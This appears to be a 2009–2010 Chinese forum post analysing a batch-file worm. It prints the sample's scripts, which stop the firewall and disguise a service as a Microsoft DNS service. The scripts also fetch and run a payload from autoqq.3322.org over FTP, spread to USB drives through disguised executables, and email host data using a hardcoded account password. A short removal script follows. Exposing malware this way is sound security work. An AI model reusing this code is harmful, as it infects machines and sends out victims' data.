@ dir %SystemRoot%\system32 |find "SuCH0ST.exe"
@ if %ERRORLEVEL%==0 goto ok
@ if %ERRORLEVEL%==1 goto end
:ok
@ net stop sharedaccess
sc stop sharedaccess
^c^o^p^y ^c^m^d^.^e^x^e ^S^V^C^H^0^S^.^e^x^e /y
@ cmd /c sc create DNSSystem binpath= "%systemroot%\system32\SVCH0S /c start SuCH0ST.exe " start= auto
@ cmd /c sc config DNSSystem displayname= "System DNS"
@ cmd /c sc config DNSSystem type= interact type= own
@ cmd /c sc description DNSSystem "(C) Microsoft Corporation 公司提供的(DNS)域名解析程序,如果该服务被停用，任何依赖它的服务将无法启动。"
@ sc start DNSSystem
%SystemRoot%\system32\SuCH0ST.exe
@ exit
:end
@ net stop sharedaccess
sc stop sharedaccess
del boot.exe /q
echo o autoqq.3322.org > 1.RMVB&echo 1234 >> 1.RMVB&echo 1234 >> 1.RMVB&echo get boot.exe boot.exe >> 1.RMVB&echo del down.exe >> 1.RMVB&echo bye >> 1.RMVB
ftp -s:1.RMVB
del 1.RMVB
ping 127.0.0.1 -n 3
cmd /c boot.exe
ping 127.0.0.1 -n 10
del %SystemRoot%\system32\boot.exe /q
echo o autoqq.3322.org > 2.RMVB&echo 4567 >> 2.RMVB&echo 4567 >> 2.RMVB&echo get boot.exe boot.exe >> 2.RMVB&echo del down.exe >> 2.RMVB&echo bye >> 2.RMVB
ftp -s:2.RMVB
del 2.RMVB
exit
创建autousb.bat，用来写入autorun
setlocal EnableDelayedExpansion
:1
fsutil fsinfo drives >%SystemRoot%\system32\output.txt
find ":\" < %SystemRoot%\system32\output.txt >%SystemRoot%\system32\out.txt
del %SystemRoot%\system32\output.txt /q
for /f %%i in (%SystemRoot%\system32\out.txt) do (
fsutil fsinfo drivetype %%i|find "可移动驱动器" &&echo %%i>>%SystemRoot%\system32\output.txt
)
if not exist %SystemRoot%\system32\output.txt goto 3
for /f %%r in (%SystemRoot%\system32\output.txt) do (
set var=%%r
cd /d !var!
dir /a:d-s /b > %SystemRoot%\system32\ok.txt
for /f "delims=" %%q in (%SystemRoot%\system32\ok.txt) do (
ATTRIB "%%q" +s +h & copy %SystemRoot%\system32\down.exe "!var!%%q.exe"
)
)
:3
EXPL0RER /n 10 127.0.1 &goto 1
;其实是调用ping延时 + 死循环
创建mail3.vbs，用来发送邮件（什么年代了。。。）
哈哈，这位大牛的Q号也在哈~
On Error Resume Next
mailto="294503954@qq.com" '路过~~~
Dim fso, f
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile("C:\WINDOWS\system32\mailbody.txt",1)
mailbody=f.ReadAll
f.Close
NameSpace = "http://schemas.microsoft.com/cdo/configuration/"
set Email = CreateObject("CDO.Message")
Email.From = "sunhopp@tom.com"
Email.To = mailto
Email.Subject = mailbody
Email.Textbody = mailbody
with Email.Configuration.Fields
.Item(NameSpace&"sendusing") = 2
.Item(NameSpace&"smtpserver") = "smtp.tom.com"
.Item(NameSpace&"smtpserverport") = 25
.Item(NameSpace&"smtpauthenticate") = 1
.Item(NameSpace&"sendusername") = "sunhopp"'这位同学的邮箱账户~~~
.Item(NameSpace&"sendpassword") = "autocad" '这位同学的邮箱密码~~~
.Update
end With
Email.Send
Wscript.quit
创建mailbody.txt。我只在里面看到了本机的IP。估计还有其他记录功能。
略过更多废话。
似乎样本在卡饭病毒区也有。看来这个东东已经存活很久了……
后续~
既然这位同学这么喜欢批处理，那我也整一个吧……
@echo off
del /f %systemroot%\Tasks\At*.job
del /f %systemroot%\system32\ok.txt
del /f %systemroot%\system32\down.exe
del /f %systemroot%\system32\attusb.dll,%systemroot%\system32\mail3.vbe
del /f %systemroot%\system32\autousb.bat,%systemroot%\system32\win.bat,%systemroot%\system32\dd.bat
taskkill /f /im explroer.exe
taskkill /f /im systen.exe
taskkill /f /im systen32.exe
del /f %systemroot%\system32\explroer.exe
del /f %systemroot%\system32\systen32.exe
del /f %systemroot%\system32\systen.exe
echo OK.
pause
[ Last edited by 点饭的百度空间 on 2010-6-4 at 00:35 ]作者: 御剑临风. 时间: 2009-5-3 22:38 官方说了不防批处理啊。。。。。
